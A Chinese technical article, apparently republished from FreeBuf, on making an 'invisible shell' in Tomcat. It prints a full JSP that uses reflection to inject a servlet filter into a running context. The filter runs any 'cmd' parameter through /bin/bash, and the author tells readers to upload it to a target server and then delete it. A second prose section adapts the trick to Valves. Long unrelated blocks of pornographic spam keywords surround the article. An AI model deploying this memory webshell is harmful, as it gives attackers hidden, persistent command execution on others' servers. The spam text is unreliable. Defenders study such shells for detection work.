精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Tomcat源代碼調(diào)試:看不見的Shell第一式

安全 應(yīng)用安全
抱著隱藏 shell 的目的去調(diào)試的 tomcat 的代碼。我調(diào)試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉(zhuǎn)發(fā)至 Jsp/Servlet 的全過程,找到了兩個較為容易實現(xiàn)的方法(肯定還有其它的方法),這里記錄一其中一個。

抱著隱藏 shell 的目的去調(diào)試的 tomcat 的代碼。我調(diào)試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉(zhuǎn)發(fā)至 Jsp/Servlet 的全過程,找到了兩個較為容易實現(xiàn)的方法(肯定還有其它的方法),這里記錄一其中一個。另一個也很類似所以只記錄一下思路。

1. 運行時動態(tài)插入過濾器

過濾器的基礎(chǔ)概念以及作用這里不寫了。

Servlet 規(guī)范(應(yīng)該是從3.0 開始)里面本身規(guī)定了一個名為ServletContext 的接口,其中有三個重載方法:

  1. FilterRegistration.Dynamic addFilter(String filterName,String className)  
  2. FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
  3. FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  

這三個方法使得我們可以在運行時動態(tài)地添加過濾器。

Tomcat 對 ServletContext 接口的實現(xiàn)類為:org.apache.catalina.core.ApplicationContextFacade

但是并沒有簡單到直接調(diào)用一下這可以實現(xiàn),因為 Tomcat 在對這個接口的實現(xiàn)中,是只允許在容器還沒有初始化完成的時候調(diào)用這幾個方法。一旦容器初始化已經(jīng)結(jié)束,調(diào)用時就會出現(xiàn)異常:

我看了一下這個 if 之后的語句,并不是太復雜,這使得我們完全可以自己用代碼來執(zhí)行后面的邏輯。寫的過程也沒有太順利,我完全復制了后面的邏輯,但是動態(tài)插入過濾器卻沒有生效。所以去重新調(diào)試了一遍tomcat 接收處理請求的全過程,發(fā)現(xiàn)為請求組裝filterChain 是在 StandardWrapperValve 里面進行的:

真正的組裝方法位于:

  1. org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 

代碼太長不截圖了,有興趣的可以自己去看。

組裝完成后開始調(diào)用過濾器鏈。

我將 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法內(nèi)的細節(jié)與自己寫的插入過濾器的細節(jié)做了對比,得出下面這個可以在Tomcat 8 (Tomcat 7 上的話需要小改一下)下實現(xiàn)我想要的目的 Jsp文件。直接看代碼吧:

  1. <%@ page language="java" contentType="text/html; charset=UTF-8" 
  2.     pageEncoding="UTF-8"%> 
  3. <%@ page import="java.io.IOException"%> 
  4. <%@ page import="javax.servlet.DispatcherType"%> 
  5. <%@ page import="javax.servlet.Filter"%> 
  6. <%@ page import="javax.servlet.FilterChain"%> 
  7. <%@ page import="javax.servlet.FilterConfig"%> 
  8. <%@ page import="javax.servlet.FilterRegistration"%> 
  9. <%@ page import="javax.servlet.ServletContext"%> 
  10. <%@ page import="javax.servlet.ServletException"%> 
  11. <%@ page import="javax.servlet.ServletRequest"%> 
  12. <%@ page import="javax.servlet.ServletResponse"%> 
  13. <%@ page import="javax.servlet.annotation.WebServlet"%> 
  14. <%@ page import="javax.servlet.http.HttpServlet"%> 
  15. <%@ page import="javax.servlet.http.HttpServletRequest"%> 
  16. <%@ page import="javax.servlet.http.HttpServletResponse"%> 
  17. <%@ page import="org.apache.catalina.core.ApplicationContext"%> 
  18. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
  19. <%@ page import="org.apache.catalina.core.StandardContext"%> 
  20. <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
  21. <%@ page import="org.apache.catalina.Context"%> 
  22. <%@ page import="java.lang.reflect.*"%> 
  23. <%@ page import="java.util.EnumSet"%> 
  24. <%@ page import="java.util.Map"%> 
  25.  
  26.  
  27. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
  28. <html> 
  29. <head> 
  30. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  31. <title>Insert title here</title> 
  32. </head> 
  33. <body> 
  34. <
  35. final String name = "n1ntyfilter"
  36.  
  37. ServletContext ctx = request.getSession().getServletContext(); 
  38. Field f = ctx.getClass().getDeclaredField("context"); 
  39. f.setAccessible(true); 
  40. ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
  41.  
  42. f = appCtx.getClass().getDeclaredField("context"); 
  43. f.setAccessible(true); 
  44. StandardContext standardCtx = (StandardContext)f.get(appCtx); 
  45.  
  46.  
  47. f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
  48. f.setAccessible(true); 
  49. Map filterConfigs = (Map)f.get(standardCtx); 
  50.  
  51. if (filterConfigs.get(name) == null) { 
  52.    out.println("inject "+ name); 
  53.     
  54.    Filter filter = new Filter() { 
  55.       @Override 
  56.       public void init(FilterConfig arg0) throws ServletException { 
  57.          // TODO Auto-generated method stub 
  58.       } 
  59.        
  60.       @Override 
  61.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
  62.             throws IOException, ServletException { 
  63.          // TODO Auto-generated method stub 
  64.          HttpServletRequest req = (HttpServletRequest)arg0; 
  65.          if (req.getParameter("cmd") != null) { 
  66.             byte[] data = new byte[1024]; 
  67.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
  68.             int len = p.getInputStream().read(data); 
  69.             p.destroy(); 
  70.             arg1.getWriter().write(new String(data, 0, len)); 
  71.             return; 
  72.          }  
  73.          arg2.doFilter(arg0, arg1); 
  74.       } 
  75.        
  76.       @Override 
  77.       public void destroy() { 
  78.          // TODO Auto-generated method stub 
  79.       } 
  80.    }; 
  81.     
  82.    FilterDef filterDef = new FilterDef(); 
  83.     filterDef.setFilterName(name); 
  84.     filterDef.setFilterClass(filter.getClass().getName()); 
  85.     filterDef.setFilter(filter); 
  86.      
  87.     standardCtx.addFilterDef(filterDef); 
  88.     
  89.    FilterMap m = new FilterMap(); 
  90.    m.setFilterName(filterDef.getFilterName()); 
  91.    m.setDispatcher(DispatcherType.REQUEST.name()); 
  92.    m.addURLPattern("/*"); 
  93.     
  94.     
  95.    standardCtx.addFilterMapBefore(m); 
  96.     
  97.     
  98.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
  99.    constructor.setAccessible(true); 
  100.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
  101.     
  102.     
  103.     filterConfigs.put(name, filterConfig); 
  104.      
  105.     out.println("injected"); 
  106. %> 
  107. </body> 
  108. </html> 

將以上 JSP 文件上傳至目標服務(wù)器命名為 n1ntyfilter.jsp,訪問后如果看到“injected” 字樣,說明我們的過濾器已經(jīng)插入成功,隨后可以將此 jsp 文件刪掉。隨后,任何帶有 cmd 參數(shù)的請求都會被此過濾器攔下來,并執(zhí)行 shell 命令,達到“看不見的 shell”的效果。

2. 動態(tài)插入 Valve

Valve 是 Tomcat 中的用于對Container 組件(Engine/Host/Context/Wrapper)進行擴展一種機制。通常是多個Valve組裝在一起放在Pipeline 里面。Tomcat 中 Container 類型的組件之間的上下級調(diào)用基本上都是通過pipeline 與 valve 完成的。如果你熟悉 Struts2 中的攔截器機制,那么你會很容易理解valve + pipeline 的動作方式。Pipeline 就相當于攔截器鏈,而valve就相當于攔截器。

Valve 接口定義了如下的 invoke 方法:

  1. publicvoid invoke(Request request, Response response) 
  2.     throws IOException, ServletException; 

我們只需在運行時向 Engine/Host/Context/Wrapper 這四種 Container 組件中的任意一個的pipeline 中插入一個我們自定義的 valve,在其中對相應(yīng)的請求進行攔截并執(zhí)行我們想要的功能,就可以達到與上面Filter 的方式一樣的效果。而且 filter 只對當前context 生效,而valve 如果插到最頂層的container 也就是 Engine,則會對 Engine 下的所有的context 生效。

以上兩種方式,利用的時候都必須是通過 HTTP 的方式去真正地發(fā)起一個請求,因為在這些流程之前,Tomcat會檢查接收自socket的前幾個字節(jié)是不是符合HTTP 協(xié)議的要求,雖然被請求的文件可以不存在。如果想利用非HTTP 協(xié)議,則需要在tomcat 的Connector 上做手腳,這個復雜度就比以上兩種方式要高很多了。

以上兩種方式都會在 Tomcat 重啟后失效。

責任編輯:趙寧寧 來源: FreeBuf
相關(guān)推薦

2019-09-06 16:41:50

戴爾

2020-08-17 17:31:00

戴爾

2011-06-30 14:29:09

決戰(zhàn)黃橋數(shù)字特效

2012-03-26 10:29:04

數(shù)據(jù)中心

2013-09-22 15:47:23

蘋果iPhone

2013-06-21 15:01:16

編程開發(fā)

2013-07-04 14:05:26

功能用戶體驗

2020-12-24 14:41:03

人工智能人工智能技術(shù)

2022-04-28 16:11:09

DDOS勒索安全

2015-12-11 16:53:28

intel

2025-01-26 11:30:55

2023-04-28 15:30:32

數(shù)字化轉(zhuǎn)型工具

2010-11-22 09:36:12

2016-09-06 09:45:43

華為HUAWEI CONN梯聯(lián)網(wǎng)

2024-05-20 11:51:47

架構(gòu)重構(gòu)接口

2018-07-06 09:00:00

2009-04-02 10:32:39

網(wǎng)絡(luò)安全隱患

2013-11-29 14:31:18

NETGEAR路由NETGEAR

2016-08-19 18:22:24

2013-03-29 10:10:00

點贊
收藏

51CTO技術(shù)棧公眾號

青娱乐极品盛宴一区二区| 日本91av在线播放| 成人中文字幕在线观看| 欧美在线国产精品| 欧美激情一区二区三区在线视频观看 | 欧美bbbxxxxx| 欧美人成在线观看ccc36| 中文字幕一区二区三区色视频| 欧美黑人xxxx| 中文字幕视频三区| 波多野结衣在线观看一区| 高潮久久久久久久久久久久久久| 中文字幕在线观看不卡| 国产精品一区二区三区在线| 国产高潮流白浆| 日韩电影精品| 性做久久久久久免费观看| 亚洲综合自拍一区| 青春草免费视频| 玖玖玖电影综合影院| 中文字幕综合网| 国产在线观看一区二区三区| 国产中文字幕久久| www.一区| 国产精品午夜春色av| 国产精品久久久久久av| 黄色片网站免费| 国产91精品在线| 午夜电影一区二区| 懂色av一区二区三区四区五区| 亚洲性生活大片| 99国产**精品****| 日韩一级二级三级精品视频| 美女在线免费视频| 亚洲成人久久精品| 欧美久久一区| 日本孕妇大胆孕交无码| 紧缚捆绑精品一区二区| 久久视频在线视频| 极品白嫩少妇无套内谢| 韩日毛片在线观看| 久久九九久精品国产免费直播| 欧美在线免费看| 久久网免费视频| 思热99re视热频这里只精品| 在线精品视频免费播放| 黄瓜视频免费观看在线观看www | 国产精品一区在线观看你懂的| 久久精品久久久久久国产 免费| 一级做a免费视频| 日本欧美韩国| 亚洲欧洲一区二区在线播放| 日本一区二区三不卡| 亚洲一卡二卡在线| 男人的j进女人的j一区| 欧美精品日韩www.p站| 成年女人免费视频| 伊人久久av| 亚洲色欲色欲www在线观看| 国产伦精品一区二区三区照片91 | 亚洲成人激情图| 国产综合免费视频| 国产高清一区二区三区视频| a级精品国产片在线观看| 国产精品福利在线| 成人黄色三级视频| 欧美日韩国产高清| 欧美国产第二页| 国产精品日日夜夜| 色综合狠狠操| 亚洲精品美女在线| 国产三级生活片| sis001欧美| 色婷婷综合在线| 日本男女交配视频| www.91在线| 成人av资源网站| 成人精品视频99在线观看免费| 成人精品在线看| 91精品一区二区三区综合| 精品中文字幕久久久久久| 国产永久免费网站| 日韩精品成人| 欧美精品日韩一本| 国产三区在线视频| 久久人人视频| 色偷偷久久人人79超碰人人澡| 天堂中文视频在线| 色综合桃花网| 亚洲专区一二三| 樱花www成人免费视频| 天堂在线中文网| 国产精品一级二级三级| 精品国产乱码久久久久久88av| 国产喷水福利在线视频| 日韩高清电影一区| 欧美又大粗又爽又黄大片视频| 国产一级片av| 国产aⅴ综合色| 3d精品h动漫啪啪一区二区| 亚洲图片在线播放| 国产精品亚洲视频| 免费亚洲一区二区| 深夜福利在线观看直播| 日韩高清不卡在线| 97超碰人人模人人爽人人看| 人操人视频在线观看| 亚洲视频一区二区免费在线观看| 久久艹国产精品| 久草在线视频福利| 在线区一区二视频| zjzjzjzjzj亚洲女人| 成人精品电影| 中日韩美女免费视频网站在线观看 | 日韩精品免费专区| 超碰97在线资源| www.五月婷婷| 国产成人午夜电影网| 91免费观看| 成人不用播放器| 婷婷一区二区三区| 91猫先生在线| 中文不卡1区2区3区| 日韩欧美在线播放| 成人性生生活性生交12| 加勒比久久高清| 日韩电视剧在线观看免费网站| 亚洲 欧美 国产 另类| 久久精品人人| 国产伦精品一区二区三区精品视频| 成人免费一区二区三区| 91免费视频大全| 日本精品二区| 麻豆网站免费在线观看| 欧美xxxx在线观看| 亚洲狠狠婷婷综合久久久久图片| 亚洲精品蜜桃乱晃| 伊人久久大香线蕉av一区二区| 四季av中文字幕| 在线中文字幕亚洲| 国模精品视频一区二区| 国产精品第九页| 国产美女精品人人做人人爽| 国产精品久久久久久免费观看 | 国产精品天干天干在线综合| 久久无码高潮喷水| 日韩欧美ww| 欧美一级淫片videoshd| 桃花色综合影院| 欧美日韩国产丝袜美女| 三年中国国语在线播放免费| 九色成人国产蝌蚪91| 久热在线中文字幕色999舞| 亚洲天堂国产精品| 中文字幕一区二区在线播放| 91欧美视频在线| 国产精品视屏| 午夜精品一区二区三区在线播放| 波多野结衣视频在线看| 久久久噜噜噜久久中文字幕色伊伊| avav在线看| 欧美日韩xxxx| 国产成人精品一区| 成 人片 黄 色 大 片| 亚洲日本中文字幕区| 天堂av8在线| 欧美黄色大片网站| 成人在线综合网站| 精品美女被调教视频大全网站| 国产在线观看免费视频软件| 亚洲国产精品一区| 国产日韩av在线播放| 嫩草香蕉在线91一二三区| 婷婷开心久久网| 亚洲一区二区三区无码久久| 91精品国产乱码久久久久久久| 国产一区在线播放| 午夜在线激情影院| 亚洲国产精品国自产拍av秋霞| 国产成人精品一区二三区| 久久久久国产一区二区三区四区| 邪恶网站在线观看| 国产福利一区二区精品秒拍| 97精品免费视频| 免费毛片在线| 亚洲mv在线观看| a级片在线观看| 狠狠88综合久久久久综合网| 国产在线观看精品| 欧美人与性动交α欧美精品图片| 亚洲精品720p| 久久国产精品波多野结衣| 蜜臀99久久精品久久久久久软件| 在线天堂一区av电影| 99热这里只有精品首页 | 色综合色综合色综合色综合色综合| 亚洲第一视频区| 成人综合在线视频| 亚洲一区二区三区四区五区xx| 欧美~级网站不卡| 欧美一区二区三区电影在线观看| www.久久久久爱免| 爽爽爽爽爽爽爽成人免费观看| 亚洲GV成人无码久久精品| 波波电影院一区二区三区| 91n.com在线观看| 在线精品在线| 超碰在线观看97| 姬川优奈av一区二区在线电影| 日韩久久精品电影| 国产美女精品视频国产| 色综合久久综合网97色综合| 国产一区二区播放| 久久精品欧美一区二区三区不卡| 国产综合av在线| 久久成人福利| 成人网中文字幕| 性欧美超级视频| 尤物精品国产第一福利三区| 国产 欧美 自拍| 亚洲国产成人av| aaaaaav| 国产一区二区三区在线观看免费 | 全部毛片永久免费看| 亚洲码国产岛国毛片在线| 26uuu国产| 亚洲大胆在线| 日韩精品一区二区三区电影| 亚洲免费一区三区| 国模精品视频一区二区三区| 国产在线更新| 精品国产一区二区国模嫣然| 日韩精品成人在线| 久久久另类综合| 欧美xxxx日本和非洲| 国产自产视频一区二区三区| 久久久精品麻豆| 男人的天堂亚洲| 亚洲 欧美 日韩 国产综合 在线| 亚洲福利网站| 国产伦精品一区二区三| 一区二区三区视频播放| 95av在线视频| 中文字幕成人| 91精品久久久久久久久久久久久久 | 国产一区二区三区不卡视频网站| 国产精品久久久久久av下载红粉| 免费在线小视频| 欧美激情视频网站| 欧美性video| 欧美国产亚洲精品久久久8v| 女囚岛在线观看| 欧美日韩成人在线播放| 四虎永久在线精品免费网址| 日韩手机在线导航| 亚洲精品综合网| 精品黑人一区二区三区久久| 黄色一级大片在线免费看国产一| 欧美v亚洲v综合ⅴ国产v| 黄色av网址在线| 日韩大陆欧美高清视频区| 免费在线国产| yellow中文字幕久久| 五月天婷婷社区| 777xxx欧美| 中文字幕精品无| 亚洲伊人伊色伊影伊综合网| 一级片久久久久| 国产精品亲子伦对白| 亚洲最大的黄色网| 久久女同精品一区二区| 4438x全国最大成人| 丁香啪啪综合成人亚洲小说| 中文字幕精品久久久| 经典三级在线一区| 91精品人妻一区二区三区四区| 成人黄色大片在线观看| 亚洲一级中文字幕| 成人美女视频在线观看| 欧美做受喷浆在线观看| 亚洲国产成人自拍| 欧美激情图片小说| 天天综合天天综合色| 免费视频网站在线观看入口| 欧美精品久久99| 日韩一级片免费看| 日韩免费视频一区二区| 一个人看的www日本高清视频| 91精品国产综合久久精品图片| 天堂免费在线视频| 欧美丰满美乳xxx高潮www| 亚洲男人天堂久久| 宅男66日本亚洲欧美视频| 青草青在线视频| 国产精品69av| 日韩视频1区| 视频一区免费观看| 国产91精品对白在线播放| 一区二区精品在线| 久久亚洲在线| 亚洲欧美精品在线观看| 欧美久久精品一级c片| 欧美人xxxxx| 精品综合久久88少妇激情| 少妇特黄a一区二区三区| 午夜国产精品视频免费体验区| 无码人妻丰满熟妇区毛片| 美女被久久久| 国产人妻精品午夜福利免费| 欧美国产一区二区在线观看 | 国产精品情趣视频| 黄色在线观看国产| 欧美日韩国产一区二区三区| 在线观看xxxx| 亚洲精品在线不卡| 日韩经典av| 成人福利在线观看| 制服丝袜日韩| 国产日韩欧美精品在线观看| 欧美阿v一级看视频| 天天操天天爱天天爽| 99久久er热在这里只有精品15 | 91中文字幕在线播放| 欧美精品一二三四| 毛片免费在线播放| 午夜精品久久久久久久久久久久久| 国内不卡的一区二区三区中文字幕 | 国产成人在线视频网址| 成人黄色短视频| 色美美综合视频| 中文字幕欧美人妻精品一区蜜臀| 欧美日韩国产美| 国产sm主人调教女m视频| 亚洲成人久久一区| 色综合999| 亚洲在线免费观看| 91精品国产乱码久久久久久久| 99热手机在线| 中文字幕精品一区二区精品绿巨人 | 中文字幕一区二区精品区| 最新国产黄色网址| 国产精品亲子乱子伦xxxx裸| 中文字幕精品一区二区精| 亚洲午夜未满十八勿入免费观看全集| 午夜小视频在线| 久久99精品久久久久久琪琪| 久久99成人| 女人床在线观看| 国产高清久久久久| 精品午夜福利在线观看| 精品电影一区二区三区| 啦啦啦中文在线观看日本| 成人黄色在线免费观看| 在线看片成人| 37p粉嫩大胆色噜噜噜| 亚洲人成精品久久久久久| 国产乱码精品一区二三区蜜臂| 亚洲国产精品嫩草影院久久| h片在线观看| 国产日韩中文字幕| 偷偷www综合久久久久久久| 色婷婷综合在线观看| 久久精品日产第一区二区三区高清版| 日韩污视频在线观看| 欧美精品久久天天躁| 黄av在线免费观看| 国产传媒一区二区三区| 色婷婷综合网| caoporm在线视频| 亚洲一区二区三区四区中文字幕| 欧美一级一区二区三区| 欧美亚洲另类激情另类| 精品日韩毛片| 黄色片子免费看| 五月婷婷色综合| 成人高清免费在线播放| 91九色精品视频| 合欧美一区二区三区| 六月婷婷七月丁香| 欧美日韩mp4| 欧美女同一区| 欧洲成人一区二区| 国产精品一区二区在线观看网站| 日产精品久久久久| 在线午夜精品自拍| 136国产福利精品导航网址应用| 99热成人精品热久久66| 中文字幕一区二区三区不卡 | 亚洲人高潮女人毛茸茸| 波多野结衣中文在线| 亚洲在线免费视频| 亚洲欧美久久久| 狠狠人妻久久久久久综合蜜桃| 在线观看成人小视频| 欧美卡一卡二| 日韩欧美亚洲v片| 日韩—二三区免费观看av| 国产67194| 亚洲视频在线观看视频| 91夜夜蜜桃臀一区二区三区|